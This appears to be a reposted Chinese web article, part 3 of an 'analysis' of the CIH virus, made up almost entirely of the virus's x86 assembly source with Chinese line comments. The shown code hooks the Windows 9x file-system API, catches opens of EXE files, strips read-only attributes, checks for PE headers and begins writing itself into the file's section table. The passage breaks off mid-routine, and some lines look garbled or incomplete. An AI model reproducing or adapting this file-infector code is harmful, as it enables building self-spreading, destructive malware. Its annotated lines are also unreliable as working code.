Rumah  >  Artikel  >  pembangunan bahagian belakang  >  病毒程序源码实例剖析-CIH病毒[3]

病毒程序源码实例剖析-CIH病毒[3]

黄舟
黄舟asal
2017-01-17 11:16:421913semak imbas

jmp ExitRing0Init ;退出Ring0级
  
  ;合并后的代码大小
  CodeSizeOfMergeVirusCodeSection = offset $ 
  
  ;新的IFSMgr_InstallFileSystemApiHook功能调用 
  InstallFileSystemApiHook:
  push ebx 
  
  call @4 
  
  @4: 
  pop ebx ;获得当前指令的偏移地址 
  add ebx, FileSystemApiHook-@4 ;加上偏移的差等于FileSystemApiHook的偏移 
  
  push ebx 
  int 20h ;调用Vxd移去指向FileSystemApiHook的钩子 
  IFSMgr_RemoveFileSystemApiHook = $ 
  dd 00400068h ;使用eax、ecx、edx和flags寄存器
  pop eax 
   
  ;调用原来的IFSMgr_InstallFileSystemApiHook功能连接FileSystemApiHook钩子
  push dword ptr [esp+8] 
  call OldInstallFileSystemApiHook-@3[ebx] 
  
  pop ecx 
  push eax 
  push ebx 
  
  call OldInstallFileSystemApiHook-@3[ebx] 
  pop ecx 
  
  mov dr0, eax ;调整OldFileSystemApiHook地址 
  
  pop eax 
  pop ebx 
  
  ret 
  
  OldInstallFileSystemApiHook dd ;原来的InstallFileSystemApiHook调用地址 
  
  ;IFSMgr_FileSystemHook调用入口
  FileSystemApiHook: 
  @3 = FileSystemApiHook 
  
  push ad ;保存寄存器 
  
  call @5 
  
  @5: 
  pop esi ; mov esi, offset ;esi为当前指令的偏移 
  add esi, VirusGameDataStartAddress-@5 ;esi为FileSystemApiHook的偏移
  ;加VirusGameDataStartAddress的偏移之差等于VirusGameDataStartAddress的偏移
  
  ;测试“忙”标志,“忙”则转到pIFSFunc
  test byte ptr (OnBusy-@6)[esi], 01h 
  jnz pIFSFunc 
  
  ;如果没有打开文件,则转到prevhook 
  lea ebx, [esp+20h+04h+04h] ;ebx为FunctionNum的地址
  
  ;文件系统钩子的调用格式如下 
  ;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
  ;int ResourceFlags, int CodePage, pioreq pir)
  
  ;判断此次调用是否是为了打开文件,如果不是就跳到前一个文件钩子去
  cmp dword ptr [ebx], 00000024h 
  jne prevhook 
  
  inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;设置“忙”标志为“忙” 
  
  ;获得文件路径指定的驱动器号,然后把驱动器名称放到FileNameBuffer中
  ;如果驱动器号为03h,则说明该盘是C盘
  mov esi, offset FileNameBuffer 
  add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer 
  
  push esi ;保存
  mov al, [ebx+04h] ;ebx+4为磁盘号的地址 
  
  ;是否UNC(universal naming conventions)地址,如果是就转CallUniToBCSPath
  cmp al, 0ffh 
  je CallUniToBCSPath 
  
  add al, 40h 
  mov ah, ':' 
  
  mov [esi], eax ;处理成"X:"的形式,即在盘符后面增加一个冒号
  
  inc esi 
  inc esi 
  
  ;把Canonicalized Unicode的字符转换为普通的BCS字符集,调用方法 
  ;UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, 
  ;unsigned int maxLength, int charSet)
  CallUniToBCSPath: 
  push 00000000h ;字符集 
  push FileNameBufferSize ;字符长度 
  mov ebx, [ebx+10h] 
  mov eax, [ebx+0ch] 
  add eax, 04h 
  push eax ;Uni字符首址 
  push esi ;BCS字符首址 
  int 20h ;调用UniToBCSPath 
  UniToBCSPath = $ 
  dd 00400041h 调用id 
  add esp, 04h*04h 
  
  ;判断文件是否是EXE文件
  cmp [esi+eax-04h], 'EXE.' 
  pop esi 
  jne DisableOnBusy 
  
  IF DEBUG 
  
  ;以下信息为调试用
  cmp [esi+eax-06h], 'KCUF' 
  jne DisableOnBusy 
  
  ENDIF 
  
  ;判断文件是否存在,如果不存在,则转向DisableOnBusy处
  cmp word ptr [ebx+18h], 01h 
  jne DisableOnBusy 
  
  ;获得文件属性
  mov ax, 4300h 
  int 20h ;调用IFSMgr_Ring0_FileIO获得文件属性的功能 
  IFSMgr_Ring0_FileIO = $ 
  dd 00400032h ;调用号 
  
  jc DisableOnBusy 
  push ecx 
  
  ;获得IFSMgr_Ring0_FileIO地址
  mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] 
  mov edi, [edi] 
  
  ;判断是否只读文件,如果是,则修改文件属性,否则转向OpenFile处
  test cl, 01h 
  jz OpenFile 
  
  mov ax, 4301h 
  xor ecx, ecx 
  call edi ;调用IFSMgr_Ring0_FileIO修改文件属性的功能,使文件可写
  
  ;打开文件
  OpenFile: 
  xor eax, eax 
  mov ah, 0d5h 
  xor ecx, ecx ;文件属性 
  xor edx, edx 
  inc edx 
  mov ebx, edx 
  inc ebx ;esi为文件名首址 
  call edi ;调用IFSMgr_Ring0_FileIO打开文件的功能 
  
  xchg ebx, eax ;在ebx中保存文件句柄 
  
  ;是否需要恢复文件属性(有写属性就不需要恢复了)
  pop ecx 
  pushf 
  
  test cl, 01h 
  jz IsOpenFileOK 
  
  ;恢复文件属性
  mov ax, 4301h
  call edi ;恢复文件属性 
  
  ;文件打开是否成功,如果不成功,则转向DisableOnBusy处
  IsOpenFileOK: 
  popf 
  jc DisableOnBusy
  
  ;文件打开成功
  push esi ;把文件名数据区首址入栈 
  
  pushf ;CF = 0,保存标志位 
  
  add esi, DataBuffer-@7 ;esi指向数据区首址 
  
  ;获得新文件头的偏移
  xor eax, eax 
  mov ah, 0d6h ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE) 
  
  ;为了达到使病毒代码长度最少的目的,把eax保存到ebp
  mov ebp, eax 
  
  push 00000004h ;读取4个字节 
  pop ecx 
  push 0000003ch ;读取DOS文件头偏移3ch处的Windows文件头首部偏移 
  pop edx 
  call edi ;读文件到esi 
  
  mov edx, [esi] ;Windows文件头首部偏移放到edx 
  
  ; 获得图形文件头的PE标记和已感染标记
  dec edx 
  mov eax, ebp ;功能号 
  call edi ;读文件到esi 
  
  ;判断是否是PE,如果是,进一步判断是否已经感染过
  ;判断是否是WinZip自解压文件,如果是,就不感染 Self-Extractor * 
  cmp dword ptr [esi], 00455000h ;判断是否是PE文件(标志"PE/0/0") 
  jne CloseFile ;不是就关闭文件 
  
  ;如果是PE文件,且没有被感染,就开始感染该文件
  push ebx ;保存文件句柄 
  push 00h 
  
  ;设置病毒感染标记
  push 01h ;标记大小
  push edx ;edx指向PE文件头偏移00h 
  push edi ;edi为IFSMgr_Ring0_FileIO的地址 
  
  mov dr1, esp ;保存esp
  
  ;设置 NewAddressOfEntryPoint入口
  push eax 
  
  ;读文件头
  mov eax, ebp 
  mov cl, SizeOfImageHeaderToRead ;要读2个字节 
  add edx, 07h ;PE文件头+07h为NumberOfSections(块个数) 
  call edi ;读出NumberOfSections(块个数)到esi 
  
  lea eax, (AddressOfEntryPoint-@8)[edx] 
  push eax ;文件指针 
  
  lea eax, (NewAddressOfEntryPoint-@8)[esi] 
  push eax ; 缓冲区地址
  
  ;把edx的值放到文件病毒代码块表表的开始位置
  movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] 
  lea edx, [eax+edx+12h] ;edx为病毒代码块表的偏移 
  
  ;获得病毒代码块表的大小
  mov al, SizeOfScetionTable ;每个块表项的大小
  
  mov cl, (NumberOfSections-@8)[esi] 
  
  mul cl ;每个块表项乘以块个数等于块表大小 
  
  ; 设置病毒代码块表 
  lea esi, (StartOfSectionTable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中)

以上就是病毒程序源码实例剖析-CIH病毒[3]的内容,更多相关内容请关注PHP中文网(www.php.cn)!


Kenyataan:
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn